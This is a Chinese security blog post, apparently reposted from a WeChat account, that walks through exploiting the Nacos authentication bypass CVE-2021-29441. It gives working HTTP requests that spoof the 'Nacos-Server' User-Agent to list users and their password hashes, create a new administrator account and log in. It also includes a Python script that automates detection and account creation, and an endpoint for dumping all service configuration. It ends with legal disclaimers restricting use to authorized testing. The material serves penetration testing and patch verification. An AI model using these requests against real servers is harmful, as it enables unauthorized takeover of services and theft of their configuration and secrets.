文章总结: 本文详细复现了Nacos身份认证绕过漏洞CVE-2021-29441的利用过程,影响Nacos小于1.4.1版本。核心利用手法是在请求头中添加User-Agent:Nacos-Server绕过认证,实现未授权访问用户列表、创建新管理员账号并登录控制台,从而完全接管服务。文章提供了具体POC代码和自动化检测脚本,并强调仅限授权测试使用。
综合评分: 78
文章分类: 渗透测试,漏洞分析,红队,内网渗透
记一次内网挖洞过程,重温Nacos 身份认证绕过!!
原创
是老A
是老A
老A搞安全
2026年9月22日 07:42
贵州
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
一位深耕网络安全的老兵,目前是一家安全公司的技术分管,擅长渗透测试及安全培训方向,老A的愿望是大家没烦恼,一切顺心!
| | |
| — | — |
| 项目 | 详情 |
| 漏洞名称 | Nacos 身份认证绕过 |
| CVE 编号 | CVE-2021-29441 |
| 影响版本 | Nacos < 1.4.1 |
| 危害等级 | 通常判高危!(具体看情况) |
| 前置条件 | 目标服务网络可达,且端口开放 |
近期在实施项目,碰到关于Nacos漏洞,简单的和大家重温一下利用过程
复现流程
首先确认目标版本。可以通过访问 /nacos/v1/console/server/state 获取版本信息
或者直接利用一个关键特征:先用不带任何特殊请求头的请求访问用户列表,预期会返回 403 Forbidden。
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1Host: ip:8848
预期响应:HTTP/1.1 403 Forbidden
获取用户列表(信息泄露)
核心是在请求头中添加 User-Agent: Nacos-Server
请求 POC(直接通过 URL 访问,或在 Burp Suite 中修改 User-Agent)
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1Host: ip:8848User-Agent: Nacos-Server
预期响应(HTTP 200,并返回用户列表):
{ "totalCount": 1, "pageNumber": 1, "pagesAvailable": 1, "pageItems": [ { "username": "nacos", "password": "$2a$10$..." } ]}
补充说明:如果 HTTP 请求需通过浏览器或命令行工具模拟,关键在于添加正确的 User-Agent 头部。且该列表中的密码是 BCrypt 哈希,难以直接还原,主要用于后续暴力破解尝试。
创建新用户(权限获取)
验证未授权访问成立后,直接调用创建用户接口
请求 POC:
POST /nacos/v1/auth/users HTTP/1.1Host: ip:8848User-Agent: Nacos-ServerContent-Type: application/x-www-form-urlencodedContent-Length: 33username=hacker&password=Hacker@123
预期响应:create user ok!
此时,你就成功创建了一个拥有完整管理权限的新账号
登录验证
访问 http://ip:8848/nacos/,使用刚刚创建的 hacker / Hacker@123 登录,即可进入 Nacos 控制台,从而完全接管该服务。
如果不想手动构造请求,可以使用 GitHub 上的自动化脚本快速检测并利用此漏洞
# 示例基于K3ysTr0K3R/CVE-2021-29441的利用逻辑[citation:17]import requeststarget = "http://ip:8848"headers = {"User-Agent": "Nacos-Server"}# 1. 检测漏洞r = requests.get(f"{target}/nacos/v1/auth/users?pageNo=1&pageSize=9", headers=headers)if r.status_code == 200 and "pageItems" in r.text: print("[+] Vulnerable") # 2. 创建新用户 data = {"username": "hacker", "password": "Hacker@123"} r2 = requests.post(f"{target}/nacos/v1/auth/users", headers=headers, data=data) if "create user ok" in r2.text: print("[+] User created")
验证要点
确认漏洞是否存在,关键在于对比请求头修改前后的响应状态码差异。当把 User-Agent 改为 Nacos-Server 后,从 403 变为 200,这就是漏洞存在的直接证据
另外,可以利用该漏洞在获取控制台权限后,尝试访问
/nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
来获取所有配置信息,这是验证是否拥有完整数据访问权限的有效方式
⚠️ 法律声明:以上内容仅供安全学习和授权测试使用。未经授权的漏洞利用属于违法行为,请勿对未经授权的目标进行测试
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:老A搞安全 是老A
是老A《记一次内网挖洞过程,重温Nacos 身份认证绕过!!》